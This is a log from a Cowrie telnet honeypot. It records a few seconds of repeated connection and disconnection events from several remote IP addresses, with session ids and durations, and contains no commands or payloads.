{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":47056,"dst_ip":"159.203.135.109","dst_port":23,"session":"371ff29905fc","protocol":"telnet","message":"New connection: 51.79.21.139:47056 (159.203.135.109:23) [session: 371ff29905fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:16.228392Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":51764,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7ceeab1c4a1","protocol":"telnet","message":"New connection: 168.119.91.149:51764 (159.203.135.109:23) [session: e7ceeab1c4a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:16.257730Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45136,"dst_ip":"159.203.135.109","dst_port":23,"session":"4cc51c901efe","protocol":"telnet","message":"New connection: 81.30.157.18:45136 (159.203.135.109:23) [session: 4cc51c901efe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:16.279505Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52330,"dst_ip":"159.203.135.109","dst_port":23,"session":"4098bff50ba1","protocol":"telnet","message":"New connection: 147.135.136.77:52330 (159.203.135.109:23) [session: 4098bff50ba1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:16.409623Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":51790,"dst_ip":"159.203.135.109","dst_port":23,"session":"83804b1aed92","protocol":"telnet","message":"New connection: 168.119.91.149:51790 (159.203.135.109:23) [session: 83804b1aed92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:16.441285Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52338,"dst_ip":"159.203.135.109","dst_port":23,"session":"6623d179c70d","protocol":"telnet","message":"New connection: 147.135.136.77:52338 (159.203.135.109:23) [session: 6623d179c70d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:16.591266Z"}
{"eventid":"cowrie.session.closed","duration":31.752792835235596,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:16.823893Z","src_ip":"147.135.136.77","session":"270eca1a9b93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45216,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d6bd9c12034","protocol":"telnet","message":"New connection: 81.30.157.18:45216 (159.203.135.109:23) [session: 6d6bd9c12034]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:17.020779Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":51844,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c6d3e9b9839","protocol":"telnet","message":"New connection: 168.119.91.149:51844 (159.203.135.109:23) [session: 2c6d3e9b9839]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:17.053851Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45230,"dst_ip":"159.203.135.109","dst_port":23,"session":"1cee71ec0aa5","protocol":"telnet","message":"New connection: 81.30.157.18:45230 (159.203.135.109:23) [session: 1cee71ec0aa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:17.070493Z"}
{"eventid":"cowrie.session.closed","duration":30.536152839660645,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:17.082402Z","src_ip":"147.135.136.77","session":"f0fc7d7a3ee1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.834755897521973,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:17.096390Z","src_ip":"147.135.136.77","session":"763533a04292","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.103169441223145,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:17.110358Z","src_ip":"147.135.136.77","session":"6d6c60610e8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9634006023407,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:17.170676Z","src_ip":"81.30.157.18","session":"8775641b6a08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":47122,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f09c641beb3","protocol":"telnet","message":"New connection: 51.79.21.139:47122 (159.203.135.109:23) [session: 7f09c641beb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:17.265975Z"}
{"eventid":"cowrie.session.closed","duration":31.08332347869873,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:17.332580Z","src_ip":"168.119.91.149","session":"4d1d4662d710","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45294,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a77c425a8e4","protocol":"telnet","message":"New connection: 81.30.157.18:45294 (159.203.135.109:23) [session: 6a77c425a8e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:17.370047Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45304,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f0c22f46406","protocol":"telnet","message":"New connection: 81.30.157.18:45304 (159.203.135.109:23) [session: 4f0c22f46406]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:17.391778Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52418,"dst_ip":"159.203.135.109","dst_port":23,"session":"d880e5f5c9d0","protocol":"telnet","message":"New connection: 147.135.136.77:52418 (159.203.135.109:23) [session: d880e5f5c9d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:17.650374Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52444,"dst_ip":"159.203.135.109","dst_port":23,"session":"1188bb4fb81e","protocol":"telnet","message":"New connection: 147.135.136.77:52444 (159.203.135.109:23) [session: 1188bb4fb81e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:17.890914Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":47326,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a55627b65f2","protocol":"telnet","message":"New connection: 51.79.21.139:47326 (159.203.135.109:23) [session: 7a55627b65f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:17.900791Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45434,"dst_ip":"159.203.135.109","dst_port":23,"session":"80bb6cb363b0","protocol":"telnet","message":"New connection: 81.30.157.18:45434 (159.203.135.109:23) [session: 80bb6cb363b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:17.958479Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45448,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e521d55d4c9","protocol":"telnet","message":"New connection: 81.30.157.18:45448 (159.203.135.109:23) [session: 2e521d55d4c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:18.033406Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52488,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b6be34777c5","protocol":"telnet","message":"New connection: 147.135.136.77:52488 (159.203.135.109:23) [session: 1b6be34777c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:18.077554Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52504,"dst_ip":"159.203.135.109","dst_port":23,"session":"de965668b802","protocol":"telnet","message":"New connection: 147.135.136.77:52504 (159.203.135.109:23) [session: de965668b802]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:18.094417Z"}
{"eventid":"cowrie.session.closed","duration":31.150153636932373,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:18.138593Z","src_ip":"81.30.157.18","session":"8524f6f24c07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":51950,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ad60fbcc162","protocol":"telnet","message":"New connection: 168.119.91.149:51950 (159.203.135.109:23) [session: 1ad60fbcc162]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:18.142907Z"}
{"eventid":"cowrie.session.closed","duration":30.920350551605225,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:18.172464Z","src_ip":"147.135.136.77","session":"fd0ec6b11dd2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":37862,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fe8062c8420","protocol":"telnet","message":"New connection: 85.208.100.77:37862 (159.203.135.109:23) [session: 4fe8062c8420]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:18.180429Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":51954,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c4cf95d7688","protocol":"telnet","message":"New connection: 168.119.91.149:51954 (159.203.135.109:23) [session: 9c4cf95d7688]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:18.188605Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45480,"dst_ip":"159.203.135.109","dst_port":23,"session":"9be8be5f369e","protocol":"telnet","message":"New connection: 81.30.157.18:45480 (159.203.135.109:23) [session: 9be8be5f369e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:18.322878Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":48572,"dst_ip":"159.203.135.109","dst_port":23,"session":"51a18840e410","protocol":"telnet","message":"New connection: 37.187.24.227:48572 (159.203.135.109:23) [session: 51a18840e410]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:18.497348Z"}
{"eventid":"cowrie.session.closed","duration":31.24054503440857,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:18.603351Z","src_ip":"147.135.136.77","session":"efab824578db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.771274089813232,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:18.638630Z","src_ip":"168.119.91.149","session":"e7b80e841c1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.35398817062378,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:18.727710Z","src_ip":"168.119.91.149","session":"aff32246f167","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":52016,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6b080cd173f","protocol":"telnet","message":"New connection: 168.119.91.149:52016 (159.203.135.109:23) [session: c6b080cd173f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:18.742868Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52988,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3b399d3fb1a","protocol":"telnet","message":"New connection: 147.135.136.77:52988 (159.203.135.109:23) [session: f3b399d3fb1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:18.785037Z"}
{"eventid":"cowrie.session.closed","duration":30.971156120300293,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:18.923517Z","src_ip":"147.135.136.77","session":"6f92b0fbf1cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.078728437423706,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:18.957278Z","src_ip":"37.187.24.227","session":"9b53ab01e6fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45590,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd29f4b6d0fd","protocol":"telnet","message":"New connection: 81.30.157.18:45590 (159.203.135.109:23) [session: dd29f4b6d0fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:18.961453Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45614,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc20b96b912a","protocol":"telnet","message":"New connection: 81.30.157.18:45614 (159.203.135.109:23) [session: fc20b96b912a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:19.000391Z"}
{"eventid":"cowrie.session.closed","duration":30.032467126846313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:19.021610Z","src_ip":"51.79.21.139","session":"89a88dd0df8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":35082,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2f3685cb6bc","protocol":"telnet","message":"New connection: 46.101.32.143:35082 (159.203.135.109:23) [session: d2f3685cb6bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:19.067819Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52478,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec30b0d28e6d","protocol":"telnet","message":"New connection: 147.135.136.77:52478 (159.203.135.109:23) [session: ec30b0d28e6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:19.084572Z"}
{"eventid":"cowrie.session.closed","duration":30.797561407089233,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:19.089355Z","src_ip":"85.208.100.77","session":"6218950df7f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.012584447860718,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:19.118884Z","src_ip":"147.135.136.77","session":"ea6e0b2a9641","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52538,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec49381d3cb3","protocol":"telnet","message":"New connection: 147.135.136.77:52538 (159.203.135.109:23) [session: ec49381d3cb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:19.135020Z"}
{"eventid":"cowrie.session.closed","duration":30.723455667495728,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:19.212612Z","src_ip":"147.135.136.77","session":"f25fbb4b86ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":50196,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1f86dce91a7","protocol":"telnet","message":"New connection: 37.187.24.227:50196 (159.203.135.109:23) [session: e1f86dce91a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:19.257605Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":41110,"dst_ip":"159.203.135.109","dst_port":23,"session":"67303f95f86c","protocol":"telnet","message":"New connection: 168.119.91.149:41110 (159.203.135.109:23) [session: 67303f95f86c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:19.289710Z"}
{"eventid":"cowrie.session.closed","duration":30.77487564086914,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:19.471183Z","src_ip":"168.119.91.149","session":"f301bacae294","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":41138,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f9976a80274","protocol":"telnet","message":"New connection: 168.119.91.149:41138 (159.203.135.109:23) [session: 7f9976a80274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:19.523032Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52600,"dst_ip":"159.203.135.109","dst_port":23,"session":"6196f0af6190","protocol":"telnet","message":"New connection: 147.135.136.77:52600 (159.203.135.109:23) [session: 6196f0af6190]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:19.537405Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45752,"dst_ip":"159.203.135.109","dst_port":23,"session":"46c56481638e","protocol":"telnet","message":"New connection: 81.30.157.18:45752 (159.203.135.109:23) [session: 46c56481638e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:19.716332Z"}
{"eventid":"cowrie.session.closed","duration":31.054851055145264,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:19.735353Z","src_ip":"168.119.91.149","session":"caac7bd6c08c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90579056739807,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:20.024483Z","src_ip":"51.79.21.139","session":"ec4107ed874e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52636,"dst_ip":"159.203.135.109","dst_port":23,"session":"23934f421e2c","protocol":"telnet","message":"New connection: 147.135.136.77:52636 (159.203.135.109:23) [session: 23934f421e2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:20.043365Z"}
{"eventid":"cowrie.session.closed","duration":30.764928579330444,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:20.048376Z","src_ip":"147.135.136.77","session":"fe5c179fcce8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45840,"dst_ip":"159.203.135.109","dst_port":23,"session":"8242900f9712","protocol":"telnet","message":"New connection: 81.30.157.18:45840 (159.203.135.109:23) [session: 8242900f9712]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:20.082063Z"}
{"eventid":"cowrie.session.closed","duration":31.006364107131958,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:20.129066Z","src_ip":"51.79.21.139","session":"2353cbf5f722","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11646866798401,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:20.139710Z","src_ip":"51.79.21.139","session":"ea969afbb0a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45860,"dst_ip":"159.203.135.109","dst_port":23,"session":"a34bf3a9a1d9","protocol":"telnet","message":"New connection: 81.30.157.18:45860 (159.203.135.109:23) [session: a34bf3a9a1d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:20.165732Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45868,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c3773460133","protocol":"telnet","message":"New connection: 81.30.157.18:45868 (159.203.135.109:23) [session: 3c3773460133]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:20.180578Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45870,"dst_ip":"159.203.135.109","dst_port":23,"session":"469f095e7cc1","protocol":"telnet","message":"New connection: 81.30.157.18:45870 (159.203.135.109:23) [session: 469f095e7cc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:20.233718Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":47330,"dst_ip":"159.203.135.109","dst_port":23,"session":"95136bdc6854","protocol":"telnet","message":"New connection: 51.79.21.139:47330 (159.203.135.109:23) [session: 95136bdc6854]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:20.291384Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":41192,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7d897389620","protocol":"telnet","message":"New connection: 168.119.91.149:41192 (159.203.135.109:23) [session: f7d897389620]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:20.322431Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":47382,"dst_ip":"159.203.135.109","dst_port":23,"session":"0114ad5136ca","protocol":"telnet","message":"New connection: 51.79.21.139:47382 (159.203.135.109:23) [session: 0114ad5136ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:20.506032Z"}
{"eventid":"cowrie.session.closed","duration":31.04824995994568,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:20.566688Z","src_ip":"81.30.157.18","session":"f13adcf90853","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45900,"dst_ip":"159.203.135.109","dst_port":23,"session":"173a7e64830c","protocol":"telnet","message":"New connection: 81.30.157.18:45900 (159.203.135.109:23) [session: 173a7e64830c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:20.625682Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45910,"dst_ip":"159.203.135.109","dst_port":23,"session":"01f40168adc3","protocol":"telnet","message":"New connection: 81.30.157.18:45910 (159.203.135.109:23) [session: 01f40168adc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:20.710498Z"}
{"eventid":"cowrie.session.closed","duration":30.309802055358887,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:21.013282Z","src_ip":"51.79.21.139","session":"b8e9dfed895a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52734,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3d3c6c39762","protocol":"telnet","message":"New connection: 147.135.136.77:52734 (159.203.135.109:23) [session: e3d3c6c39762]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:21.051437Z"}
{"eventid":"cowrie.session.closed","duration":31.04797101020813,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:21.101451Z","src_ip":"81.30.157.18","session":"be418c7eca56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52760,"dst_ip":"159.203.135.109","dst_port":23,"session":"491c016d5cd2","protocol":"telnet","message":"New connection: 147.135.136.77:52760 (159.203.135.109:23) [session: 491c016d5cd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:21.179338Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":41206,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d3f26fdbb56","protocol":"telnet","message":"New connection: 168.119.91.149:41206 (159.203.135.109:23) [session: 3d3f26fdbb56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:21.229866Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52796,"dst_ip":"159.203.135.109","dst_port":23,"session":"20e1a21d442c","protocol":"telnet","message":"New connection: 147.135.136.77:52796 (159.203.135.109:23) [session: 20e1a21d442c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:21.301335Z"}
{"eventid":"cowrie.session.closed","duration":31.862633228302002,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:21.375095Z","src_ip":"168.119.91.149","session":"6cd66e916240","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":37016,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c7123cf74f5","protocol":"telnet","message":"New connection: 46.101.32.143:37016 (159.203.135.109:23) [session: 9c7123cf74f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:21.389250Z"}
